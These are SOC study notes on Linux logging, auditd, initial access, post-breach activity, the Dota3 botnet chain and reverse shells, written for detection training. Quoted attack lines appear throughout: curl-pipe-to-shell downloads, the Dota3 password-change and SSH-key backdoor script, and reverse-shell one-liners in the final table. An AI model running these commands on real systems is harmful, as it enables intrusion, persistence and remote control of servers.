all articles / 2026-11-01

10. Linux Security Monitoring

Linux Logging for SOC — Notes

Scope: Linux servers (Debian, Ubuntu, CentOS, RHEL), no GUI. Linux is not immune to malware, and Linux intrusions are increasing.


1. The Big Picture

Question you're askingWhere the answer lives
Who logged in / failed / used sudo / created users?/var/log/auth.log (/var/log/secure on RHEL)
What happened on the system in general?/var/log/syslog (/var/log/messages on RHEL)
What did the kernel say?/var/log/kern.log
What packages were installed?/var/log/dpkg.log, /var/log/apt/ (Debian) · /var/log/dnf.log, /var/log/yum.log (RHEL)
What web pages were requested?App logs, e.g. /var/log/nginx/access.log
What commands did a user type?~/.bash_history (unreliable)
Which programs ran, which files changed, what connections were made?Nothing by default → need runtime monitoring (auditd, Sysmon for Linux, etc.)

Core idea: default Linux logs cover authentication well and runtime activity not at all. Detection coverage grows as you add sources:

text
auth.log only  →  + web logs & bash history  →  + runtime monitoring (auditd)
   narrow                                                         broad

2. How Linux Logs Differ from Windows

WindowsLinux
Binary event logs, need Event ViewerPlain text — read with cat, less, grep
Event IDs, strict schemaNo event codes, loose format
Fixed locationsFormat, verbosity, and location are easily changed; distros differ

Caveat: logs on a real system may look different from these examples, or not exist at all.

Standard line format (syslog-style)

text
2025-08-04T14:17:40  thm-vm  sshd[3139]:  Failed password for admin from 138.204.127.54 port 52670 ssh2
└─ event time ─┘   └host┘  └process[PID]┘ └──────── free-form message (any format) ────────┘

3. Working With Logs — Essential Commands

bash
ls -l /var/log                          # discover what the system logs
cat /var/log/syslog | head              # peek at the start
cat /var/log/syslog | grep CRON         # keep only lines with CRON
cat /var/log/syslog | grep -v CRON      # EXCLUDE lines with CRON
grep -R -E "auth|login|session" /var/log  # search ALL logs recursively for keywords
FlagMeaning
-vinvert match (exclude)
-Eextended regex → allows a|b (OR)
-Rrecursive through a directory
-icase-insensitive (useful extra)

Strategy: thousands of lines, few matter → filter aggressively and narrow down.

Practical tips (beyond the room):

  • grep PATTERN file does the same as cat file | grep PATTERN, with one less process.
  • Old logs get rotated (auth.log.1, auth.log.2.gz). Plain grep skips .gz contents → use zgrep.
  • Many modern systems log to systemd-journald (/var/log/journal/), which is binary → read with journalctl (e.g. journalctl -u ssh). Some installs have no /var/log/syslog at all.

4. Authentication Logs — /var/log/auth.log

The #1 log source for SOC. It holds more than logins: user management, sudo commands, and more.

4a. Logins & logouts → grep session opened|session closed

bash
grep -E 'session opened|session closed' /var/log/auth.log

The text in pam_unix(XXX:session) tells you how the login happened:

TagLogin typeExample
login:sessionLocal, physical keyboardlogin[1138]: ... session opened for user bob(uid=1001) by bob(uid=0)
sshd:sessionRemote via SSHsshd[839]: ... session opened for user alice(uid=1002)
samba:sessionRemote via SMB file sharesmbd[1795]: ... session opened for user alice(uid=1002)
cron:sessionScheduled jobCRON[41925]: ... session opened for user root(uid=0) by root(uid=0)
sudo:sessionPrivilege switchsudo: ... session opened for user root(uid=0) by carol(uid=1003)

Read it as: session opened for user TARGET by WHO.

  • for user root ... by carol(uid=1003) → Carol became root.
  • by bob(uid=0) → uid 0 means the login service (running as root) opened it — normal for logins.

Spotting length of a session: match opened and closed with the same PID (e.g. login[1138]: 16:04 → 19:23).

4b. SSH-specific events → grep sshd + Accepted|Failed

bash
grep sshd /var/log/auth.log | grep -E 'Accepted|Failed'

Format: <Accepted|Failed> <auth-method> for <user> from <IP> port <port> ssh2

text
Failed password for root from 222.124.17.227 port 50293 ssh2
Failed password for admin from 138.204.127.54 port 52670 ssh2
Accepted publickey for bob from 10.19.92.18 port 55050 ssh2: <key>

SOC red flags:

  • Many Failed from one IP → brute force
  • Many usernames from one IP → password spraying / user enumeration
  • Failed × N, then Accepted from the same IP → brute force succeeded
  • Login attempts for root / admin from external IPs
  • Note public vs private IPs (10.x, 172.16–31.x, 192.168.x = internal)

4c. User management → grep (passwd|useradd|usermod|userdel)\[

bash
grep -E '(passwd|useradd|usermod|userdel)\[' /var/log/auth.log
CommandMeaningExample
passwdPassword changedpassword for 'ubuntu' changed by 'root'
userdelUser deleteddelete user 'oldbackdoor'
useraddUser creatednew user: name=backdoor, UID=1002, GID=1002, shell=/bin/sh
usermodUser modified / added to groupadd 'backdoor' to group 'sudo'

The \[ ensures you match the process name (useradd[1878]) and not random text.

Classic persistence pattern (all within ~45 seconds):

  1. Delete old backdoor account
  2. Create new user
  3. Add it to sudo group → new admin account = persistence

4d. Commands run with sudo → grep COMMAND=

bash
grep -E 'COMMAND=' /var/log/auth.log
text
sudo: ubuntu : TTY=pts/0 ; [...] COMMAND=/usr/bin/systemctl stop edr   ← defense evasion
sudo: ubuntu : TTY=pts/0 ; [...] COMMAND=/usr/bin/ufw status numbered ← recon (firewall)
sudo: ubuntu : TTY=pts/0 ; [...] COMMAND=/usr/bin/su                  ← full root shell

Gap: once someone runs sudo su, everything they do as root is no longer logged here → you need runtime monitoring.

auth.log grep cheat sheet

Hunting forgrep pattern
Logins/logouts'session opened|session closed'
SSH success/failsshd then 'Accepted|Failed'
User changes'(passwd|useradd|usermod|userdel)\['
Sudo commands'COMMAND='

5. Generic System Logs

FileContents
/var/log/kern.logKernel messages & errors (advanced investigations)
/var/log/syslog / /var/log/messagesConsolidated stream of system events (cron runs, services, time sync…)
/var/log/dpkg.log / /var/log/apt/Package installs (Debian/Ubuntu)
/var/log/dnf.log / /var/log/yum.logPackage installs (RHEL)

Reality: useful in DFIR, rarely in daily SOC work — noisy and hard to parse.

Syslog example worth noticing:

text
CRON[1048]: (root) CMD (date > mycrondebug.log)

Cron lines show the exact command a scheduled job ran, and as whom → useful for spotting malicious cron persistence.


6. App-Specific Logs

Each application logs its own activity: databases (queries), mail (phishing), containers (anomalies), web servers (who opened what).

Nginx access log — one line per HTTP request:

text
10.0.1.12 - - [11/08/2025:14:33:09 +0000] "POST /login HTTP/1.1" 302 112
└client IP┘      └──── timestamp ─────┘  └method path proto┘ └status┘└bytes┘
StatusMeaning in context
200OK
302 after POST /loginRedirect → often a successful login
403 on /adminForbidden → someone probing restricted areas

⚠ Note the date format differs (DD/MM/YYYY:HH:MM:SS) from auth.log — every app has its own format.


7. Bash History — ~/.bash_history

  • Commands kept in memory during the session, written to ~/.bash_history at logout.
  • history command shows current session + past sessions.
  • Per-user file: /home/<user>/.bash_history, /root/.bash_history.

Why SOC rarely relies on it:

  • Doesn't track non-interactive commands (OS, cron, web server)
  • Live session not on disk until logout
  • Trivially evaded:
Evasion trickWhy it works
Leading space: echo "secret"HISTCONTROL=ignorespace (default on Ubuntu) skips it
Put commands in a script: nano legit.sh && ./legit.shOnly nano/./legit.sh appear, not the contents
Switch shell: sh/bin/sh doesn't save history like bash
(Also) unset HISTFILE, history -c, delete the fileWipes or disables recording

Treat it as a bonus clue, never as proof of absence. Empty history ≠ nothing happened.


8. Runtime Monitoring — The Missing Piece

By default, Linux does NOT log:

  • Process creation ("which programs did Bob launch?")
  • File changes ("who deleted my home folder?")
  • Network connections

These are runtime events. Windows has the same gap (fixed with Sysmon); Linux fixes it with auditd or alternatives.

System calls — the foundation

Every program asks the kernel for services via system calls (300+ on Linux).

text
You type "whoami" → shell sends execve("/usr/bin/whoami") → kernel processes it
→ kernel uses CPU/memory/disk → kernel returns result → you see output
SyscallPurposeMonitor it to see…
execveRun a programProcess execution
openatOpen a fileFile access/changes
connectOpen network connectionOutbound connections

Key insight: EDRs and logging tools all watch syscalls. Programs can't do anything meaningful without them, so syscall monitoring is far harder to evade than bash history. Pick the syscalls you care about → log them.


9. auditd (Audit Daemon)

Built-in Linux auditing tool used by SOC for runtime monitoring.

Rules — /etc/audit/rules.d/*.rules

text
-a always,exit  -S execve  -F exe=/usr/bin/wget           -F key=proc_wget
-a always,exit  -S openat  -F path=/secret.thm            -F key=file_thmsecret
-a always,exit  -S openat  -F dir=/etc/ssh -F perm=w      -F key=file_sshconf
-a always,exit  -S connect -F exe=/usr/bin/python3.12     -F key=net_python
PartMeaning
-a always,exitAlways log, at syscall exit
-S <syscall>Which system call to watch
-F <field>=<value>Filter (exe, path, dir, perm…)
-F key=<tag>Label to search by later
perm=wOnly write access

What the 4 rules do: log wget runs · log access to /secret.thm · log writes in /etc/ssh · log Python network connections.

Balance: logging everything = gigabytes/day, and an attack buried in noise is still invisible. Log high-risk events only.

Reading results

Raw log: /var/log/audit/audit.log (hard to read). Use ausearch:

bash
ausearch -i -k proc_wget      # -i = human-readable, -k = search by key

One event = several lines sharing the same ID msg=audit(08/12/25 12:48:19.093:2219):

Record typeShows
PROCTITLEFull command line (wget https://files.tryhackme.thm/report.zip)
CWDWorking directory (/root)
EXECVEArguments (argc=2 a0=wget a1=https://...)
PATHFile involved (file events: name=/etc/ssh/sshd_config)
SYSCALLProcess & user details (below)

SYSCALL fields — know these cold

FieldMeaning
pid / ppidProcess ID / Parent PID → build the process tree
auidAudit user = account that originally logged in (local or SSH). Survives sudo/su.
uidUser actually running the command (changes after sudo/su)
ttySession ID (pts1) → separates multiple users on one server
exeAbsolute path of the binary → used for detection rules
keyYour rule's tag

The most important detail: auid=ubuntu uid=root → the person who logged in as ubuntu ran this as root. This closes the sudo su gap from auth.log: even after switching to root, auditd still knows who the real human was.

Example file event: nano /etc/ssh/sshd_config by auid=ubuntu uid=root → someone edited the SSH config with root privileges. Critical files to watch: SSH config, cron definitions, system settings.


10. auditd Alternatives

auditd output is verbose, hard to read, and hard to ingest into a SIEM. Alternatives:

ToolBest for
Sysmon for LinuxTeams already using Sysmon (XML output)
FalcoOpen-source, containerized environments
OsqueryGeneral-purpose security querying
EDRsMost track Linux runtime events

All work the same way: monitoring system calls. Understand syscalls → learn any of these quickly, and explain why something was or wasn't logged.


11. One-Page Summary

  1. Linux logs are plain text in /var/log, loosely formatted, distro-dependent.
  2. auth.log/secure is the SOC's main source: logins, SSH, user changes, sudo commands.
  3. syslog/kern/package logs → mostly DFIR. App logs (nginx etc.) → web/app attacks.
  4. Bash history is easy to evade — supporting evidence only.
  5. Default Linux does not log process, file, or network activity.
  6. Runtime monitoring = watching syscalls (execve, openat, connect).
  7. auditd: rules in /etc/audit/rules.d/, search with ausearch -i -k <key>.
  8. auid = real human, uid = effective user. auid is the field that defeats sudo su hiding.
  9. Log the high-risk stuff, not everything.

Linux Initial Access for SOC — Notes

How attackers first get into Linux servers, and how to catch each entry route in logs.


1. The Three Doors In

Entry routeMITRE techniqueMain evidence
Exposed SSH (stolen key / guessed password)T1133 External Remote Services (+ T1078 Valid Accounts)auth.log → sshd lines
Exploited public service (web app, mail, VPN, firewall, Docker API)T1190 Exploit Public-Facing ApplicationApp logs + process tree
Human mistakes & supply chain (curl | bash, typosquatted package, poisoned dependency)T1195 Supply Chain CompromiseProcess tree

Unifying principle: whatever the door, the attacker eventually runs commands. Commands create processes. Processes have parents. Trace the parent → find the door.


2. Door #1 — SSH

Why SSH is the #1 target

  • Almost every internet-facing Linux server runs it (Shodan: 40M+ exposed in 2025).
  • Linux equivalent of RDP on Windows — powerful and often poorly defended.
  • Botnets constantly scan the internet for it.

How attackers get in

Key-based auth (safer, but…)Password-based auth (extra risks)
Private keys leaked in GitHub repos or Ansible/automation serversAdmin sets a weak password "just for a test" and forgets it
Infostealer malware on an admin's laptop grabs ~/.ssh/Contractor gets SSH with password 12345678
Old, insecure SSH server accidentally exposed to the internet

Most real Linux attacks (e.g. the Outlaw botnet group) start from these simple scenarios. Rarer, advanced routes: vulnerabilities in the SSH server itself (e.g. Erlang/OTP SSH), SSH session hijacking.

The breach formula: public SSH + password auth + weak password = breach is a matter of time, not luck.

Anatomy of a brute-force breach

text
16:56:28 sshd[2820]: Failed password for user root      from 196.251.118.184
16:56:34 sshd[2822]: Failed password for invalid user helpdesk from 196.251.118.184
16:56:40 sshd[2824]: Failed password for invalid user ftptest  from 196.251.118.184
16:56:47 sshd[2826]: Failed password for invalid user support  from 196.251.118.184
16:56:49 sshd[2830]: Accepted password for thmsupport          from 196.251.118.184   ← BREACH

Three indicators that together confirm the breach:

  1. Multiple failures → then a success (same IP)
  2. External, untrusted IP (196.x is public, not internal)
  3. Password auth (the weaker method)

Extra reading clues:

  • invalid user = the account does not exist → attacker is guessing usernames from a wordlist.
  • Attempts every ~6 seconds → automated tool, not a human typing.
  • The winning username (thmsupport) resembles the guesses (support, helpdesk) → wordlist hit a real account.

Triaging successful logins

Start simple: grep 'Accepted' /var/log/auth.log, then judge each line.

text
2025-08-19T14:00:02 Accepted publickey for ansible from 10.14.105.255
2025-08-20T12:56:49 Accepted password  for jsmith  from 54.155.224.201
2025-08-22T03:14:06 Accepted password  for jsmith  from 196.251.118.184
LoginVerdictWhy
ansibleLikely legitPublic key ✓ · internal IP ✓ · exactly 14:00 = scheduled automation ✓. Still verify the IP really is the Ansible server and check what it did next.
jsmith ×2SuspiciousPassword auth ✗ · external IPs ✗ · two different IPs ✗ · 03:14 = night-time for the user ✗ · second IP is the same one that brute-forced earlier ✗✗

The 4-question SSH investigation checklist

CheckAsk
UsernameWho owns it? Is this time and IP normal for them?
Source IPWhat do Threat Intel tools & asset lookups say? Internal/trusted or malicious?
Login historyWas it preceded by brute force or other odd events?
Next stepsIs it suspicious enough to review what the user did after logging in?

Good vs bad SSH login — at a glance

SignalBenignMalicious
Auth methodpublickeypassword
Source IPInternal (10.x, 172.16–31.x, 192.168.x), known assetExternal, unknown, flagged by TI
TimingBusiness hours / exact scheduleOdd hours, right after failures
Prior eventsNoneBursts of Failed / invalid user

3. Door #2 — Exploited Public Services

Linux hosts web servers, mail, databases, dev/IT tools, and is the OS inside most firewalls and VPNs. Compromise the app → the whole host is at risk.

Real-world examples:

  • Zimbra CVE → arbitrary OS command execution
  • Exposed Docker API port → entry point for cloud breaches
  • Palo Alto firewall CVE → full control of the underlying Linux OS
  • WordPress plugin upload → used to drop web shells

Typical chain: brute-force/exploit the website → upload a backdoor → control the Linux server.

Application logs: useful but incomplete

No app logs "I'm being exploited by a zero-day." App logs give clues, not the full story:

LogDetects
Web logsWeb attacks (injection, scanning, brute force)
Database logsSuspicious SQL queries
VPN logsAbnormal VPN logins
Business logsDomain-specific fraud (e.g. bank transactions)

Case study — command injection in TryPingMe

The app runs ping -c 2 [YOUR-INPUT] with no input filtering.

text
10.2.33.10    "GET /ping?host=3.109.33.76" 200      ← normal: an IP
10.12.88.67   "GET /ping?host=54.36.19.83" 200      ← normal: an IP
10.14.105.255 "GET /ping?host=hello"       500      ← probing: what breaks it?
10.14.105.255 "GET /ping?host=whoami"      500      ← trying a command
10.14.105.255 "GET /ping?host=;whoami"     200      ← ";" works → INJECTION SUCCESS
10.14.105.255 "GET /ping?host=;ls"         200      ← now exploring the system

How to read it:

  • Legit users send IPs; the attacker sends Linux commands.
  • 500 → 500 → 200 = classic trial and error until it works.
  • ; = shell command separator → ping runs, then the attacker's command runs.

Conclusions from web logs alone: 10.14.105.255 is likely the attacker · /ping is vulnerable to code execution · attacker ran whoami, ls · entire host is now at risk.

What web logs CAN'T show: the command output or what ran afterwards → you need the process tree.


4. Process Tree Analysis — The Universal Method

Most SOC teams rely on this because app logs are often missing or unhelpful. Works for every initial access route.

Scenario: an alert fires on whoami. IT admin activity, or a breach? → Walk up the tree.

Walking UP (who launched it?)

bash
ausearch -i -x whoami          # -x = filter by executable/command name
ausearch -i --pid 3905         # look up the parent (ppid of whoami)
ausearch -i --pid 3898         # look up the grandparent… until ppid=1
StepProcesspidppid
1 (start)whoami39073905
2/bin/sh -c whoami39053898
3/usr/bin/python3 /opt/mywebapp/app.py38981 (systemd)

Result: systemd → python web app → sh -c → whoami → a web app spawned a shell. Strong sign of exploitation.

Walking DOWN (what else did it launch?)

Instead of arguing whether whoami is "normal" for the app, look for clearer evidence among its other children:

bash
ausearch -i --ppid 3898 | grep proctitle    # all children of the web app
text
proctitle=/bin/sh -c whoami
proctitle=/bin/sh -c ls -la
proctitle=/bin/sh -c curl http://17gs9q1puh8o-bot.thm | sh     ← download & execute = smoking gun

ausearch cheat sheet

CommandPurpose
ausearch -i -k <key>By rule tag
ausearch -i -x <cmd>By command / executable
ausearch -i --pid <N>The process itself → go up
ausearch -i --ppid <N>Its children → go down
-iHuman-readable output

The detail that gives it away: auid=unset

In the web-app tree every process shows auid=unset uid=ubuntu tty=(none).

FieldHuman SSH sessionService/daemon
auidthe login user (e.g. ubuntu)unset (no one logged in)
ttypts0, pts1…(none)

→ A shell with auid=unset and tty=(none) was not typed by a logged-in human. It came from a service. If that service is a web server, suspect exploitation.


5. Door #3 — Human Mistakes & Supply Chain

Phishing and USBs are rarer on Linux (technical operators, servers, no GUI), but people still make mistakes:

ScenarioConsequence
Admin runs curl https://shadyforum.thm/fix.sh | bash from a forumScript was malware → server silently infected
Developer typos pip3 install fastpi (instead of fastapi)Typosquatted package = malware published by attackers

Pattern to remember: curl … | bash or | sh = download and run without inspecting. Always suspicious in a process tree.

Supply chain compromise

Attackers breach a software project → every user gets the malicious update. A Linux server has hundreds of dependencies from different maintainers, so this can come from anywhere.

  • XZ Utils backdoor (2024): hidden in a compression library linked into SSH → nearly compromised millions of servers.
  • tj-actions breach (GitHub Action): leaked thousands of secrets (SSH keys, access tokens) from CI logs.

6. Detection Workflow (all doors)

text
TRIGGER  → SIEM alert: suspicious command / connection to malicious IP
TRACE    → build the process tree: which app or user started it?
JUDGE    → is that parent expected to do this? legit or malicious?

Three trees to recognize

text
Web app breach               Supply chain                 SSH breach
systemd                      systemd                      systemd
└─ apache2                   └─ thm-service               └─ sshd
   └─ php-fpm                   ├─ wget   ✗                  └─ sshd (user=tom)
      └─ sh -c whoami ✗         ├─ base64 ✗                     ├─ curl  ✗
         └─ whoami   ✗          └─ tar    ✗                     └─ xmrig ✗ (cryptominer)
Tree patternQuestion to askLikely door
Web server → shell → recon commandsWhy would a web app run whoami?Web app exploit
Trusted vendor service → wget / base64 / tarWhy is this app downloading & decoding?Supply chain
sshd → user session → curl → minerWould Tom really install a cryptominer?SSH credential compromise

Universal red flags in a tree:

  • A web server or service spawning sh / bash
  • Download tools (curl, wget) followed by execution or decoding (base64, tar, | sh)
  • Recon commands (whoami, id, uname, ls) from non-interactive parents
  • Cryptominers (xmrig) — the most common payload on compromised Linux servers

7. Analyst's Observations (beyond the room)

  • Correlate IPs across sources. 10.14.105.255 appears as the "legit" Ansible login and as the command-injection attacker. Possibly just reused lab data, but in a real case that overlap would demand investigation: a compromised automation server is a high-value pivot point.
  • Timestamps need a timezone. "03:14 is night" assumes the log is in the user's local time. auth.log timestamps are often UTC; convert before judging.
  • One success after failures isn't the only pattern. Watch also for password spraying: few attempts per account, many accounts, often spread across many IPs to dodge thresholds.

8. One-Page Summary

  1. Three doors: SSH, exploited public apps, human mistakes / supply chain.
  2. SSH breach = public + password auth + weak password. Look for failures → success, external IP, password method.
  3. invalid user = account doesn't exist = username guessing.
  4. Triage each Accepted login by username, source IP, login history, next steps.
  5. App logs give clues (e.g. ;whoami in a URL), never the full story.
  6. Process tree is the universal method: ausearch --pid to go up, --ppid to go down.
  7. auid=unset + tty=(none) → spawned by a service, not a logged-in human.
  8. Red flags: services spawning shells, curl | sh, recon commands, miners.
  9. Always ask: "Why would this parent run that child?"

Linux Post-Breach Activity for SOC — Notes

What attackers do after getting in: Discovery → Ingress Tool Transfer → Hack-and-Forget payloads (with the real-world Dota3 case).


1. How Linux Breaches Actually Unfold

text
1. BOTNET automates the first stages  →  scans, brute-forces, gets a shell
2. Botnet hands control to a HUMAN    →  only when an entry point is ready
3. HUMAN (botnet owner) continues     →  discovery, payloads, persistence

Consequence: the attacker usually lands "blind" and asks the same questions you would: Where am I? Who am I? What is this machine? → Discovery always comes first.

When Discovery is skipped: the attacker already knows the target, OR just wants to drop a cryptominer and leave regardless of victim.


2. Discovery (MITRE TA0007)

Basic discovery — same commands on almost every breach

GoalTypical commands
OS & filesystempwd, ls /, env, uname -a, lsb_release -a, hostname
Users & groupsid, whoami, w, last, cat /etc/sudoers, cat /etc/passwd
Processes & networkps aux, top, ip a, ip r, arp -a, ss -tnlp, netstat -tnlp
Cloud / sandbox / EDRsystemd-detect-virt, lsmod, uptime, pgrep "<edr-or-sandbox>"

Why uptime / systemd-detect-virt? A freshly booted VM with no history looks like a sandbox or honeypot → attacker may stop to avoid analysis.

whoami — the single best discovery signal

Legitimate applications rarely need it; attackers run it first after breaching a service. A detection rule on any whoami execution has a high hit rate for real attacks.

Caveat: attackers can get the same info via id, echo $USER, or /proc/self/status, so don't make whoami your only rule.

Specialized discovery — reveals the attacker's GOAL

ObjectiveTypical commandsTells you…
Steal credentials / secretshistory | grep pass, find / -name .env, find /home -name id_rsaData stealer
Assess mining suitabilitycat /proc/cpuinfo, lscpu | grep Model, free -m, top, htopCryptominer
Find new victimsping <ip>, for ip in 192.168.1.{1..254}; do nc -w 1 $ip 22; doneBotnet / worm spreading

Key inference: almost no malware except miners cares about CPU model & RAM. Seeing cpuinfo + free -m + lscpu together ≈ miner incoming.


3. Detecting Discovery

Step 1 — Log the commands (auditd)

text
-a always,exit -S execve -S execveat -F exe=/usr/bin/whoami  -F key=discovery_user
-a always,exit -S execve -S execveat -F exe=/usr/bin/id      -F key=discovery_user
-a always,exit -S execve -S execveat -F exe=/usr/bin/pwd     -F key=discovery_fs
-a always,exit -S execve -S execveat -F exe=/usr/bin/uname   -F key=discovery_os
-a always,exit -S execve -S execveat -F exe=/usr/bin/netstat -F key=discovery_network
  • execve and execveat → both ways of executing a program are covered.
  • Group commands under shared keys (discovery_user, discovery_fs…) → hunt by category.
  • Limitation: exe= matches only that exact path. A binary copied to /tmp/x or a BusyBox applet won't match.

Step 2 — Hunt (SIEM or manually)

bash
ausearch -i -k discovery_user | grep -Ez 'key=|exe='

Step 3 — Get CONTEXT via the process tree (the real challenge)

The commands are identical for attackers, admins, and tools. Only the parent tells them apart.

SituationVerdict
Web server spawns whoami🚩 Red flag (exploited service)
IT member runs find / grep hunting for secrets🚩 Red flag (insider or stolen account)
Network monitoring tool periodically pings the LAN✅ Expected

Worked example:

bash
ausearch -i -x whoami       # found: whoami, ppid=3898, auid=ubuntu
ausearch -i --pid 3898      # parent: /usr/bin/bash /tmp/lp.sh   ← script in /tmp!
ausearch -i --ppid 3898     # children: find /home -name *secret* … ×5 → malicious
  • auid=ubuntu → launched from a real login session, not a daemon (contrast with auid=unset for web-app exploits).
  • A script running from /tmp is suspicious on its own.
  • Siblings like find … *secret* confirm intent: credential hunting.

4. Hack-and-Forget Attacks

Two informal attacker categories: targeted attacks and "Hack and Forget" (this room's focus).

Hack and Forget = run at scale, quick profit, victim doesn't matter. E.g. scan the internet for SSH with password tryguessme, catch a few victims per month.

After quick discovery, it ends in one (or all) of three payoffs:

PayoffWhat it doesMITRE
CryptominerUses victim CPU/GPU to mine crypto (usually XMRig/Monero)T1496 Resource Hijacking
Botnet enrollmentVictim joins e.g. Mirai → used for DDoS—
ProxyVictim sends phishing, hosts malware, relays attacker trafficT1090 Proxy

Common names in this space: Mirai, Mozi, Kaiten, Outlaw, BadBox, Shellshock-based worms.


5. Ingress Tool Transfer (MITRE T1105)

How malware gets onto the victim. Vast majority use three preinstalled tools:

ToolExample
wget — download a filewget https://github.com/xmrig/[...]/xmrig-x64.tar.gz -O /tmp/miner.tar.gz
curl — web request / save outputcurl --output /var/www/html/backdoor.php "https://pastebin.thm/yTg0Ah6a"
SSH (scp/sftp) — file copyscp kali@c2server:/home/kali/cve-2021-4034.sh /tmp/cve-2021-4034.sh

(Note: CVE-2021-4034 = PwnKit, a polkit pkexec privilege-escalation exploit.)

The scp direction trap — where does the evidence land?

DirectionWho runs scpWhat you see on the VICTIM
Attacker → Victim (push) scp ./malware.sh ubuntu@thm-vm:/tmpAttacker, on their machineNo scp in auditd! Only a new SSH login in auth.log
Victim → Attacker (pull) scp attacker@attack-vm:./malware.sh /tmpAttacker, from a shell on the victimscp process in auditd

Rule: if the transfer was initiated remotely, process logs are blind; look for the login instead. Same applies to FTP and SMB uploads.

Additional detection sources

SourceWhat to look for
Network trafficDownloads from IPs with attack history (VirusTotal), suspicious/random domains (qfpkvwgq.thm), or public tool hosts like GitHub / pastebin
File eventsNew files in /tmp, /var/tmp; names like exploit, shell.php, or random strings kF1pBsY5
AV / EDRAlerts on a new malicious file or process

Why /tmp? World-writable by every user, so any compromised account can drop files there.


6. Case Study — Dota3 Malware (full kill chain)

A simple but long-lived cryptomining botnet. Still active because admins keep setting weak SSH passwords.

Stage 1 — Initial Access

  • Botnet of 2000+ IPs in 94 countries scans for open SSH.
  • Brute-forces mainly root with the top 1000 weak passwords.
  • On success, one botnet host logs in via SSH and continues.

Stage 2 — Discovery (automated, rapid-fire)

bash
cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'   # CPU model
free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'                       # RAM
lscpu | grep Model                                                              # CPU again
ls -lh $(which ls)          # unclear purpose
crontab -l                  # existing scheduled jobs
w                           # who's logged in
uname -m                    # CPU architecture (x86_64? ARM?) → which miner binary to drop
  • First three lines alone → cryptominer.
  • Commands fire within seconds → script, not a human.

Stage 3 — Persistence (lock in access, lock out others)

bash
`echo -e "ubuntu123\nN2a96PU0mBfS\nN2a96PU0mBfS"|passwd|bash` >> up.txt
cd ~
rm -rf .ssh
mkdir .ssh
echo "ssh-rsa [ssh-key] mdrfckr" >> .ssh/authorized_keys
chmod -R go= ~/.ssh
LineMeaning
echo -e "old\nnew\nnew" | passwdFeeds passwd the old password (ubuntu123, the guessed weak one) and the new one twice → changes it to a strong password, locking out competing botnets
rm -rf .ssh + mkdir .sshDeletes the owner's keys → locks out the real admin
echo "ssh-rsa … mdrfckr" >> authorized_keysInstalls the attacker's key (T1098.004 SSH Authorized Keys)
chmod -R go= ~/.sshStrips group/other permissions so sshd accepts the key file

mdrfckr = key comment unique to this campaign → perfect IOC to grep for:

bash
grep -r mdrfckr /home/*/.ssh /root/.ssh

Stage 4 — Tool transfer (via SCP, reusing the new password)

bash
user@bot-1672$ scp dota3.tar.gz ubuntu@victim:/tmp     # attacker→victim push: only an SSH login shows on victim

Stage 5 — Staging in a disguised hidden folder

bash
cd /tmp
rm -rf .X2*              # wipe previous/competitor copies
mkdir .X26-unix          # leading dot = hidden
cd .X26-unix
tar xf dota3.tar.gz      # unpacks to /tmp/.X26-unix/.rsync/c
sleep 3s
cd /tmp/.X26-unix/.rsync/c

Camouflage: /tmp/.X11-unix is a real X server folder; .X26-unix imitates it. .rsync imitates a legit tool. Goal: an admin glancing at /tmp doesn't investigate.

Stage 6 — Execute payloads

bash
nohup /tmp/.X26-unix/.rsync/c/tsm -p 22 [...] /tmp/up.txt 192.168 >> /dev/null 2>1&
sleep 8m
nohup /tmp/.X26-unix/.rsync/c/tsm -p 22 [...] /tmp/up.txt 172.16  >> /dev/null 2>1&
sleep 20m
cd ..; nohup /tmp/.X26-unix/.rsync/initall 2>1&
exit 0
BinaryRole
tsmCustom scanner: probes internal 192.168.* and 172.16.* for SSH on port 22 → spreads to new victims (worm behavior)
initallXMRig cryptominer → burns CPU for attacker profit
  • nohup … & → process keeps running in the background after the SSH session closes.
  • >> /dev/null → discards output, leaves no trace on screen.
  • sleep 8m / 20m → spaces out activity.
  • Syntax note: 2>1 as printed actually redirects stderr to a file named 1; the usual form is 2>&1. Likely a transcription simplification, but a stray file named 1 in the working dir would itself be an artifact.

Detecting Dota3 — indicator map

StageLog sourceIndicator
Accessauth.log → grep AcceptedPassword SSH login from untrusted external IP (after brute force on root)
Discoveryauditd → ausearch -i -x <cmd>Burst of lscpu, uname, free, cpuinfo — trace the parent
Persistenceauditd / file monitoring / SIEMpasswd run non-interactively; .ssh deleted & recreated; mdrfckr string
Transferauth.logNew SSH login (scp push leaves no process on victim)
Stagingauditd file eventsHidden dirs in /tmp; files named like malware (dota3.tar.gz)
Executionauditdnohup usage, binaries running from /tmp
SpreadingNetwork trafficSSH port scan across 192.168.* and 172.16.*
MiningEDR / CPU monitoringXMRig detected by most EDRs; sustained 100% CPU

In a real SOC with SIEM, expect several alerts at once: malicious-IP login + discovery spike + mdrfckr match.


7. One-Page Summary

  1. Botnets automate access; humans take over after. Discovery comes first.
  2. Discovery commands are the same ones admins use → judge them by their parent process.
  3. whoami from a service = top-tier red flag. CPU/RAM checks = miner coming.
  4. Hunt with auditd keys (discovery_*), then ausearch --pid up and --ppid down.
  5. Hack-and-Forget payoffs: miner, botnet/DDoS, proxy.
  6. Tool transfer = wget / curl / scp. Remote scp push leaves no process, only an SSH login.
  7. Watch /tmp, /var/tmp, hidden dot-folders imitating system names, random filenames.
  8. Dota3 chain: brute-force root → CPU discovery → change password + replace SSH keys (mdrfckr) → scp → hidden /tmp/.X26-unix → nohup scanner + XMRig.
  9. nohup … & = survive logout. Binaries in /tmp + nohup = strong combo signal.

Linux Advanced Attacks for SOC — Notes

Targeted, human-led attack stages: Reverse Shells → Privilege Escalation → Persistence, plus Linux's role in espionage and ransomware.


1. Why Attackers Need Reverse Shells

Entry via SSHEntry via exploit / web vuln
Full terminal: colors, autocomplete, Ctrl+CCrippled "terminal"
Instant command outputBuggy output, delays, timeouts
Rate limits, network restrictions

TryPingMe example — injecting 127.0.0.1 && uname -a:

  1. Must prepend 127.0.0.1 && to every command
  2. Commands run only after ping finishes (delay)
  3. No Ctrl+C, no history, no error output

Fix for the attacker → reverse shell: the victim connects out to the attacker and hands over an interactive shell. Often the only practical way to continue.

Reverse vs bind shell

  • Reverse: victim → attacker. Outbound connections usually pass firewalls, so this is the common choice.
  • Bind: attacker → victim's open port. Often blocked inbound.

Three common reverse shells

Command on victimAttacker listens at
bash -i >& /dev/tcp/10.10.10.10/1337 0>&110.10.10.10:1337
socat TCP:10.20.20.20:2525 EXEC:'bash',pty,stderr,setsid,sigint,sane10.20.20.20:2525
